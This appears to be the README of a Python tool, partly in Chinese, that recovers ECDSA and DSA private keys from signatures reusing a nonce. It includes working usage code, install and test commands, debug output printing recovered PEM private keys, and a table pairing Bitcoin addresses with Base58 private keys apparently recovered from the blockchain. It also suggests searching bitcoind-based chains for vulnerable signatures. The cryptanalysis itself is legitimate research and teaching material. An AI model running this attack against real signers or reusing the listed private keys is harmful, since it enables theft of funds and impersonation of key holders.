ecdsa-key-recovery

执行ECDSA和DSA随机数重用私钥恢复攻击

一个用于分析签名漏洞的密码学研究工具

让我们恢复两个共享相同 nonce k 的签名所对应的私钥。请注意，选择相同的 nonce k 会导致两个签名具有相同的签名值 r。要找到ECDSA随机数重用的良好候选者，请检查在 curve 上具有相同 r、pubkey 但针对不同消息（或哈希）的签名。例如，基于 bitcoind 的区块链项目通常是ECDSA签名材料的良好来源。

sampleA (r, sA, hashA, pubkey, curve)
sampleB (r, sB, hashB, pubkey, curve)

sampleA = EcDsaSignature(r, sA, hashA, pubkey, curve)
sampleB = EcDsaSignature(r, sB, hashB, pubkey, curve) # same privkey as sampleA, identical r due to nonce reuse k.

# recover the private key
sampleA.recover_nonce_reuse(sampleB)  # populates sampleA with the recovered private key ready for use
print sampleA.privkey

#> virtualenv -p python2.7 .env27
#> . .env27/bin/activate
(.env27) #> python -m pip install -r requirements.txt
(.env27) #> python setup.py install
(.env27) #> python tests/test_ecdsa_key_recovery.py

#> virtualenv -p python3 .env3
#> . .env3/bin/activate
(.env3) #> python -m pip install -r requirements.txt
(.env3) #> python setup.py install
(.env3) #> python tests/test_ecdsa_key_recovery.py

BTC 地址	Base58 私钥	r
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962	5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT	113563387324078878147267949860139475116142082788494055785668341901521289846519
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962	5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT	18380471981355278106073484610981598768079378179376623360720556873242139981984
1C8x2hqqgE2b3TZPQcFgas73xYWNh6TK9W	5JKkG6KXLCCPXN9m29ype6My7eR4AnCLaHKYrLvn6d3nd8BLjjw	19682383735358733565748628081379024202682929012377912380310432818686294127462
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962	5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT	6828441658514710620715231245132541628903431519484374098968817647395811175535

from ecdsa_key_recovery import DsaSignature, EcDsaSignature, ecdsa, bignum_to_hex, bytes_fromhex

# specify curve
curve = ecdsa.SECP256k1

# create standard ecdsa pubkey object from hex-encoded string
pub = ecdsa.VerifyingKey.from_string(
        bytes_fromhex("a50eb66887d03fe186b608f477d99bc7631c56e64bb3af7dc97e71b917c5b3647954da3444d33b8d1f90a0d7168b2f158a2c96db46733286619fccaafbaca6bc"), curve=curve).pubkey
            
# create sampleA and sampleB recoverable signature objects.
# long r, long s, bytestr hash, pubkey obj.
sampleA = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565,   #r
                          49278124892733989732191499899232294894006923837369646645433456321810805698952), #s
                         bytes_fromhex(bignum_to_hex(
                             765305792208265383632692154455217324493836948492122104105982244897804317926)),
                         pub)
sampleB = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565,   #r
                          34219161137924321997544914393542829576622483871868414202725846673961120333282), #s'
                         bytes_fromhex(bignum_to_hex(
                             23350593486085962838556474743103510803442242293209938584974526279226240784097)),
                         pub)
                         
# key not yet recovered
assert (sampleA.x is None)

# attempt to recover key - this updated object sampleA
sampleA.recover_nonce_reuse(sampleB)    # recover privatekey shared with sampleB
assert (sampleA.x is not None)          # assert privkey recovery succeeded. This gives us a ready to use ECDSA privkey object
assert sampleA.privkey

INFO:__main__:------------EcDSA------------
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=⨯ > - recovering private-key from nonce reuse ...
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=✔ > - Private key recovered!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----

DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=⨯ > - recovering private-key from nonce reuse ...
DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=✔ > - Private key recovered!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----

INFO:__main__:------------DSA------------
DEBUG:__main__:generated sample signatures: (('\x96.\xed\x06?Tx\x87\x96\xc0Jxe\xc1\xb7\xa0}\xbaSl', (962114315288785318297754502373467834746102876259L, 152066227943132308247866282041325280216845090990L), <_DSAobj @0x2c49a80 y,g,p(1024),q>), ('\xf2\x9a\x9a\x81\xa8\x1b\x071Z1\xe28\xd3\x993\xff\xc7[b\xab', (962114315288785318297754502373467834746102876259L, 357089477795349418794190243474458899186606359757L), <_DSAobj @0x2c788f0 y,g,p(1024),q>))
DEBUG:__main__:Signature Objects: [<DsaSignature 0x2c7a5b sig=(9621143152…,1520662279…) public=✔ private=⨯ >, <DsaSignature 0x2c7a3f sig=(9621143152…,3570894777…) public=✔ private=⨯ >]
DEBUG:__main__:<DsaSignature 0x2c7a5b sig=(9621143152…,1520662279…) public=✔ private=⨯ > - recovering privatekey from nonce reuse...
DEBUG:__main__:<DsaSignature 0x2c7a5b sig=(9621143152…,1520662279…) public=✔ private=✔ > - Private key recovered!
-----BEGIN PRIVATE KEY-----
MIIBSgIBADCCASsGByqGSM44BAEwggEeAoGBAIAAAAAAAAAA8tZboZpqrRAwKtK0
mXxwct7Es1BBih3HheeLBMOHCqPlwJmfUA8kBZQZzu3V+at5IWlRi0fTikvNWuqN
GLqMkf0kqXOhzP8/hD7B/CUF1YedzGKqC2BfhX/RON+CD/mFi35As8G73O29GCUl
qMd0KYhHHtBvVPiLAhUA/5r9a94k/9/mHVub1U0WrAJv2B8CgYARyESPcKSpBEoT
nXlMrX1M71RySJL5nrqUKpFTFRSoIwX5sj7ZRfKSqbf2umwSu8LfCEOZ2qKu0+jp
+bUC0oihSjaVCrADZykPr67k9mt56xx1wP4vUJJNfM3Wkty5xsI3JtUFbQ5EzFAt
JhLRWxOqcGEm35ZPQ4ao1qZsIsSVCQQWAhRqVNUTHGUaRRA5lXlmN4sw9glosQ==
-----END PRIVATE KEY-----
DEBUG:__main__:generated sample signatures: (('\x96.\xed\x06?Tx\x87\x96\xc0Jxe\xc1\xb7\xa0}\xbaSl', (921214889680762780870505834724573810649257487648L, 1206590109737383111438209532388130932310558452933L), <_DSAobj @0x2c78cd8 y,g,p(1024),q>), ('\xf2\x9a\x9a\x81\xa8\x1b\x071Z1\xe28\xd3\x993\xff\xc7[b\xab', (921214889680762780870505834724573810649257487648L, 254170456806936279470958328275930254179957847437L), <_DSAobj @0x2c788f0 y,g,p(1024),q>))
DEBUG:__main__:Signature Objects: [<DsaSignature 0x2c7a83 sig=(9212148896…,1206590109…) public=✔ private=⨯ >, <DsaSignature 0x2c7a61 sig=(9212148896…,2541704568…) public=✔ private=⨯ >]
DEBUG:__main__:<DsaSignature 0x2c7a83 sig=(9212148896…,1206590109…) public=✔ private=⨯ > - recovering privatekey from nonce reuse...
DEBUG:__main__:<DsaSignature 0x2c7a83 sig=(9212148896…,1206590109…) public=✔ private=✔ > - Private key recovered!
-----BEGIN PRIVATE KEY-----
MIIBSwIBADCCASsGByqGSM44BAEwggEeAoGBAIAAAAAAAAAARApDBH1CEeZPeIM9
mMb6l3FyY8+AOy+cdiDzCaqlkIRVIRRxvnCH5oJ6gkinosGscZMTgF7IwQJzDHFm
oxvVdpACrj5Je+kpF6djefAbe+ByZ4FowkGq1EdMZF8aZzsik3CFkEA/vDsjvAsg
XmKRvOnFHkkFuKCRAhUA/+rcmBQ71NBsDzkbusi6NQpTNF8CgYAFVt8xSXTiCGn8
+bqWyoX+gjItArrT28o6fGnq+apjwasvWDHq1FETk/gwqTbTwWTiMo2eOTImRKDF
MbK1us+DjhloAUuhL6nCRQhsLs4Jq+8A/y7aol/HjCz1fHRKKDD9wqKDf2kWdI97
Kb2Hq4AUoJWTCT0ijX+oQJafbywjdwQXAhUAniK/kyRv/SFd1uJjuDMh0EntMws=
-----END PRIVATE KEY-----

ecdsa-private-key-recovery

最受欢迎

安装选项：

安装步骤

从比特币区块链恢复私钥

示例

输出